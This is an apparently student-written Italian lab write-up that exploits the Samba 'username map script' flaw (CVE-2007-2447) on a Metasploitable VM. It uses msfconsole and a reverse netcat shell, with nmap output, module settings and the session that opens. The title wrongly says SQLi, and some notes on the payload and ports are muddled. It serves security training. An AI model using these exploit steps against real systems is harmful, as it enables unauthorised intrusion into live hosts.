

Modulo 4

Compito 2

Web Application Exploit SQLi

Continuiamo adesso con la seconda parte dell'esercizio dove ci viene richiesto di sfruttare la vulnerabilità del servizio attivo sulla porta 445 utilizzando **MsfConsole**.

Requisiti laboratorio virtuale:

kali: 192.168.13.100

Metasploitable: 192.168.13.150

Essendo che la configurazione del nostro laboratorio non è cambiata, procediamo a verificare che le macchine si vedano sempre sulla rete e successivamente andiamo a lanciare un Nmap verso l'indirizzo di Metasploitable per verificare le porte in ascolto e i servizi su di esse.

Quella di nostro interesse sarà la porta 445:

```
(kali@kali)-[~]
└─$ nmap -sV 192.168.13.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 12:01 EDT
Nmap scan report for 192.168.13.150
Host is up (0.0027s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login          OpenBSD or Solaris llogind
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.84 seconds
```

Nota: Samba utilizza il protocollo SMB (Server message block) definito per reti Microsoft Windows e a sua volta basato sull'interfaccia di rete NetBIOS (**Network basic input output system**). SMB è stato progettato originariamente per reti molto piccole. Per permettere la connessione a reti più estese ed eterogenee, Microsoft ha sviluppato il sistema **CIFS (Common internet file system)** ancora basato su NetBIOS.

Una volta verificato che la porta è aperta andiamo ad avviare il nostro Tool **MSFConsole** e procediamo a ricercare qualche exploit inerente al servizio Samba con il comando **"search samba"**.

l'esercizio ci suggerisce di utilizzare: **exploit/multi/samba/usermap_script**

```
msf6 > search samba
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes	Citrix Access Gateway Exec
1	exploit/windows/license/caliclnl_getconfig	2005-03-02	average	No	Computer Associates License
2	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Exec
3	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Startup
4	post/linux/gather/enum_configs		normal	No	Linux Gather Configs
5	auxiliary/scanner/rsync/modules_list		normal	No	List Rsync Modules
6	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Word
7	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes	Quest KACE Systems Management RCE
8	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script"
9	exploit/multi/samba/nttrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.8 nttrans
10	exploit/linux/samba/setinfo_policy_heap	2012-04-10	normal	Yes	Samba SetInfo Policy Heap
11	auxiliary/admin/smb/samba_symlink_traversal		normal	No	Samba Symlink Traversal
12	auxiliary/scanner/smb/smb_unit_cred		normal	Yes	Samba netrc Set Credentials

Una volta trovato l'exploit di nostro interesse possiamo richiamarlo con il comando **"use"** seguito dall'intero path oppure andando ad indicare il suo numero identificativo (nel nostro caso **8**).

Una volta caricato l'exploit andiamo a lanciare il comando **"show options"** per vedere la prima configurazione dell'exploit.

Come verifichiamo dall'immagine dobbiamo andare a impostare noi dei campi e/o andare a modificarne altri.

```
msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
```

Module options (exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
LHOST	192.168.13.100	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

Nota: Come possiamo leggere nelle prime righe il payload in questo caso è stato configurato manualmente. Ovviamente se dovesse essere necessario possiamo andare a modificarne i parametri o direttamente il payload da utilizzare con il comando **"set payload"**

Possiamo avere anche qualche info in più sull'exploit andando a scrivere il comando **info**:

```
Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands. No authentication is needed to exploit this vulnerability
since this option is used to map usernames prior to authentication!

References:
https://nvd.nist.gov/vuln/detail/CVE-2007-2447
OSVDB (34700)
http://www.securityfocus.com/bid/23972
http://labs.iddefense.com/intelligence/vulnerabilities/display.php?id=534
http://samba.org/samba/security/CVE-2007-2447.html
```

Questo ci darà accesso a più informazioni su come sfruttare l'exploit e sulla vulnerabilità stessa.

Adesso procediamo a modificare i parametri come richiesti dall'esercizio:

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.13.150
RHOSTS => 192.168.13.150
msf6 exploit(multi/samba/usermap_script) > set RPORT 445
RPORT => 445
```

E successivamente, per verificare che sia tutto apposto rilanciamo il comando **“show options”** andando a controllare che le modifiche da noi effettuate siano venute correttamente.

```
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.13.150  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445             yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.13.100  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:
  Id  Name
  --  -
  0    Automatic
```

Bene, adesso che siamo certi che tutto sia configurato correttamente andiamo a lanciare il comando **“exploit”** per avviarlo e verificare che il collegamento alla macchina avvenga correttamente avendo sfruttato una sua vulnerabilità.

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.13.100:4444
[*] Command shell session 1 opened (192.168.13.100:4444 → 192.168.13.150:53429) at 2023-09-23 12:08:40 -0400
```

Una volta stabilita la connessione non ci resta che dar fede all'esercizio e verificare l'effettiva connettività andando a fare un ifconfig e andando a verificare che l'ip sia della macchina Metasploitable.

```
[*] Started reverse TCP handler on 192.168.13.100:4444
[*] Command shell session 1 opened (192.168.13.100:4444 → 192.168.13.150:53429) at 2023-09-23 12:08:40 -0400

ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:99:a0:81
          inet addr:192.168.13.150 Bcast:192.168.13.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe99:a081/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:1483 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1436 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:129343 (126.3 KB) TX bytes:228990 (223.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

Nota: La porta di reindirizzamento è passata dalla porta 445 a 53429. Questo è dovuto dalla revers shell.

In altri casi, ciò potrebbe essere dovuto da un reindirizzamento dinamico delle porte, assegnando una porta casuale alla sessione di reverse shell per scopi di sicurezza o di gestione delle connessioni.